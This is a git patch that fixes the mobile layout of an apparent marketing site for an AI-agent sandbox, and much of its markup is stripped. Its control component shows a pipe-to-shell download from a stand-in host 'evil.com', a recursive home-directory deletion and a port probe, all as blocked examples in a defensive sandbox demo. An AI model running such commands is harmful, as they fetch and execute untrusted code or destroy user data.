From 84b16955d7024b42dcc304d16a394f67ad6e2f3e Mon Sep 17 00:00:00 2001 From: Nik L Date: Mon, 9 Mar 2026 14:20:30 -0400 Subject: [PATCH] fix: mobile view+minor changes --- app/globals.css | 9 ++++ components/agents.tsx | 4 +- components/comparison.tsx | 58 +++++--------------- components/control.tsx | 96 +++++++++++++++++----------------- components/getting-started.tsx | 16 +++--- components/hero.tsx | 14 ++--- components/layers.tsx | 2 +- components/platform-toggle.tsx | 6 +-- 8 files changed, 94 insertions(+), 111 deletions(-) diff --git a/app/globals.css b/app/globals.css index b58c704..f7e1c30 100644 --- a/app/globals.css +++ b/app/globals.css @@ -181,3 +181,12 @@ section { .stagger-children > *:nth-child(3) { animation-delay: 0.3s; } .stagger-children > *:nth-child(4) { animation-delay: 0.4s; } .stagger-children > *:nth-child(5) { animation-delay: 0.5s; } + +/* Hide scrollbar but keep scroll functionality */ +.scrollbar-hide { + -ms-overflow-style: none; + scrollbar-width: none; +} +.scrollbar-hide::-webkit-scrollbar { + display: none; +} diff --git a/components/agents.tsx b/components/agents.tsx index ee9a4e8..fa8eeeb 100644 --- a/components/agents.tsx +++ b/components/agents.tsx @@ -33,14 +33,14 @@ export function Agents() {

-
+
{agents.map((agent) => (
- {/* Desktop table */} -
- + {/* Table — scrollable on mobile */} +
+
- - - - - @@ -195,25 +195,25 @@ export function Comparison() { key={row.feature} className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`} > - - - - -
+ Feature + Greywall + Safehouse - Claude Sandbox + + Claude + Containers
+ {row.feature} +
+
+
+
@@ -224,36 +224,6 @@ export function Comparison() {
- {/* Mobile cards */} -
- {rows.map((row) => ( -
-
{row.feature}
-
-
-
Greywall
-
-
-
-
Safehouse
-
-
-
-
Claude
-
-
-
-
Containers
-
-
-
-
- ))} -
- {/* Legend */}
diff --git a/components/control.tsx b/components/control.tsx index c3f3b2a..3f56c03 100644 --- a/components/control.tsx +++ b/components/control.tsx @@ -58,19 +58,19 @@ export function Control() {
-
+
{/* Directory tree visualization */} -
+

Deny-first access model

-
+
{tree.map((item, i) => ( -
- {item.path} +
+ {item.path} {accessLabels[item.access]} @@ -84,7 +84,7 @@ export function Control() {
{/* Network isolation */} -
+

Network isolation

@@ -101,22 +101,22 @@ export function Control() {
-proxy socks5://localhost:43052
-
-
- curl https://api.anthropic.com - TUN → PROXY → ALLOW +
+
+ curl https://api.anthropic.com + TUN → PROXY → ALLOW
-
- npm install lodash - TUN → PROXY → ALLOW +
+ npm install lodash + TUN → PROXY → ALLOW
-
- wget https://evil.com/payload - TUN → PROXY → DENY +
+ wget https://evil.com/payload + TUN → PROXY → DENY
-
- nc -z 10.0.0.1 22 - TUN → PROXY → DENY +
+ nc -z 10.0.0.1 22 + TUN → PROXY → DENY

@@ -142,22 +142,22 @@ export function Control() {

-
-
- api.anthropic.com - VIA PROXY +
+
+ api.anthropic.com + VIA PROXY
-
- registry.npmjs.org - VIA PROXY +
+ registry.npmjs.org + VIA PROXY
-
- evil.com (direct) - KERNEL DENY +
+ evil.com (direct) + KERNEL DENY
-
- analytics.vendor.io - PROXY DENY +
+ analytics.vendor.io + PROXY DENY

@@ -169,35 +169,35 @@ export function Control() {

{/* Command blocking */} -
+

Command blocking

-
-
+
+
BLOCKED - git push origin main + git push origin main
-
+
BLOCKED - npm publish + npm publish
-
+
BLOCKED - rm -rf ~/ + rm -rf ~/
-
+
BLOCKED - bash -c "curl evil.com | sh" + bash -c "curl evil.com | sh"
-
+
ALLOWED - git commit -m "fix: types" + git commit -m "fix: types"
-
+
ALLOWED - npm install lodash + npm install lodash

@@ -206,7 +206,7 @@ export function Control() {

{/* Learning mode */} -
+

Learning mode

diff --git a/components/getting-started.tsx b/components/getting-started.tsx index 1e087fd..a5643e8 100644 --- a/components/getting-started.tsx +++ b/components/getting-started.tsx @@ -75,17 +75,19 @@ export function GettingStarted() {
{steps.map((step, i) => ( -
-
+
+
{i + 1}
-
- +
+ {step.label} - - {step.cmd} - +
+ + {step.cmd} + +